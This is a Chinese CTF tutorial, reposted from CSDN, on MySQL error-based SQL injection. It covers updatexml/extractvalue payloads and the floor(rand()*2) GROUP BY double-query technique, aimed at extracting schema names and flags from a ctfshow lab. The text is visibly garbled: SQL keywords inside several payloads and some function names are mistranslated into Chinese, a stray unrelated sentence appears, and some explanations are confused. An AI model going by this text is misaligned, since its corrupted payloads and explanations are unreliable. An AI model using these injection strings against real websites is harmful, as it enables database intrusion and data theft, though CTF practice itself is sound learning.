0x05 报错注入
它适用于无法正确显示但有错误的页面,并允许您使用错误注入。
基础函数
地面()
截断函数
返回小于或等于传递参数的最大整数。即,将数字向下舍入到最接近的整数值。
例子:
下限(3.7) 返回3
下限(-2.5) 返回-3
圆形的()
舍入函数
将传递的数字四舍五入为最接近的整数或指定的小数位数。
例子:
Round(3.7) 返回4
Round(3.14159, 2) 返回3.14(保留2 位小数)
天花板()
向上取整函数
返回大于或等于传递参数的最小整数。与Floor() 函数不同,它将数字向上舍入为大于指定数字的最小整数。
例子:
ceil(3.2) 返回4
ceil(-1.5) 返回-1
数数()
统计mysql中的行数
中()
用于拦截返回结果的函数
Mid((查询语句),1,32)下标截取从1开始的32个字符。
更新xml()
UPDATEXML(XML_文档,XPath_字符串,新值);
第一个参数:XML_document,字符串格式,是XML文档对象的名称。
第二个参数:XPath_string(Xpath格式字符串)。
第三个参数:new_value(字符串格式)替换找到的符合条件的数据。
返回:如果xpath正确,则返回修改后的对象名,否则返回xpath错误的内容。
所以如果你想注射它,你就无法正确地把它放回去。
updatexml(任意值,(查询语句),任意值)
提取值()
EXTRACTVALUE(XML_文档,XPath_字符串);
第一个参数:XML_document,字符串格式,是XML文档对象的名称。
第二个参数:XPath_string(Xpath格式字符串)。
返回:如果xpath正确则返回目标XML查询的结果,否则返回xpath错误的内容。
以完全相同的方式
使用限制
返回多列之一
例如
limit 0,1 返回第一列
limit 3,1 返回第4 列
正确的()
right(x,y) 截取x 字符串右侧的最后y 个字符。
使用适当的函数将截取字符串的右侧部分。
左边()
left(x,y) 从x 字符串的最左边字符截取y 个字符。
普通报错注入
可以直接通过上面的函数来实现
?sort=-1 或updatexml(1,concat(从0x3d 选择schema_name,(information_schema.schemata 限制5,1)),0x3d),3)–+
请尝试类比确认。
我检查了flag部分,发现没有完成。
中间函数
?sort=-1 或updatexml(1,concat(0x3d,mid((从ctfshow.flags 中选择group_concat(flag4s)),32,32),0x3d),3)–+
使用左函数和右函数
?sort=-1 或updatexml(1,concat(0x3d,(从ctfshow.flags 中选择left (flag4s,31)),0x3d),3)–+
?sort=-1 或updatexml(1,concat(0x3d,(从ctfshow.flags 中选择右侧(flag4s,14)),0x3d),3)–+
只需更改提取值
?sort=-1 或extractvalue(1,concat(0x3d,(从ctfshow.flags 中选择右侧(flag4s,14)),0x3d))–+
?sort=-1 或extractvalue(1,concat(0x3d,(从ctfshow.flags 中选择group_concat(flag4s)),0x3d))–+
双查询报错注入
知识补充
这里我们用group-by-injection进行一个重要的解释
rand() 函数
生成0 到1 之间的随机数
为每个用户名从用户组中选择count(*)、用户名。
选择用户名,每个用户名从用户组中计数(*)。
在这种情况下,group by 创建一个虚拟表,它是键的键值对。
大概就是这样
keycount(*)admin1admin21admin31flag1 之前的名称必须是在用户名列中找到的确切值。
在“用户名”中选择用户名和用户组的数量(*)。
您觉得这款手表怎么样?
键数(*) 用户名4
他直接输入用户名,而不是打开列并查找值。
由于版本问题,这里已经无法再隐藏了。
那么让我们回到主题
要实现双查询错误注入,必须使用联合注入(报错采用group by报错原则)。
现在,如果你看上面的句子,你已经可以看到我们写句子的方式大致遵循这个结构。
?id=select count(*),concat(0x3d,mid((select group_concat(table_name) from information_schema.schemata)1,32),0x3d,round(rand()*2))a from information_schema.schemata 按组–+
聚合函数可以组合注入语句来替换后面的内容(子查询中查询到的所有内容)。 A。
查询语句生成如下语句:
keycount(*)=erformance_schema,ctfshow_web=01=erformance_schema,ctfshow_web=11=erformance_schema,ctfshow_web=21
然后,生成这样的虚拟表,
引用我师父的话:
最终的错误报告是最重要的部分。重复的键值。
那么为什么键值会重复呢? concat 函数运行了两次,因此第二次运行时可能会出现与第一次重复的键值。这种情况下会报错。
那是:
聚合函数、使用group by 子句以及利用随机函数会在运行时导致错误,因为它们涉及随机函数和聚合函数的计算。
如果在聚合函数(例如count)后使用分组语句,则部分查询将以错误格式显示。这是因为concat 函数执行了两次(例如select database())。与后续的随机函数不同,它们链接在一起并随机重复,这可能会导致错误。
使用底层错误报告方法的数据部署的本质是每个语句的组错误报告。 group by语句报错的原因是floor(random(0)*2)可以为0或1(group by key背后的原理是循环遍历每一行数据并保存结果)。临时表当读取每一行的键时,如果临时表中存在该键,或者临时表中不存在该键,则更新临时表中的数据。 group by Floor(random(0)*2) 出现错误是因为在检查临时表中是否存在key 时,key 是一个随机数。对于表,floor(random(0)*2) 可以为0。如果临时表只有键为1的行而没有键为0的行,则数据库必须向临时表中插入一条记录。在这种情况下,floor(random(0)* 2)可能会导致1,从而导致插入上的冲突和错误。随机数计算两次:检测时和插入时。
结论是如果和临时表中的值不一样就会插入,但是插入的时候会重新计算,所以如果插入时计算的值和直接比较的值不一样,这将是一个错误。报告!
#CTF中常用的SQL注入(二) 以上关于错误注入(正则查询和双重查询)的相关内容仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92978.html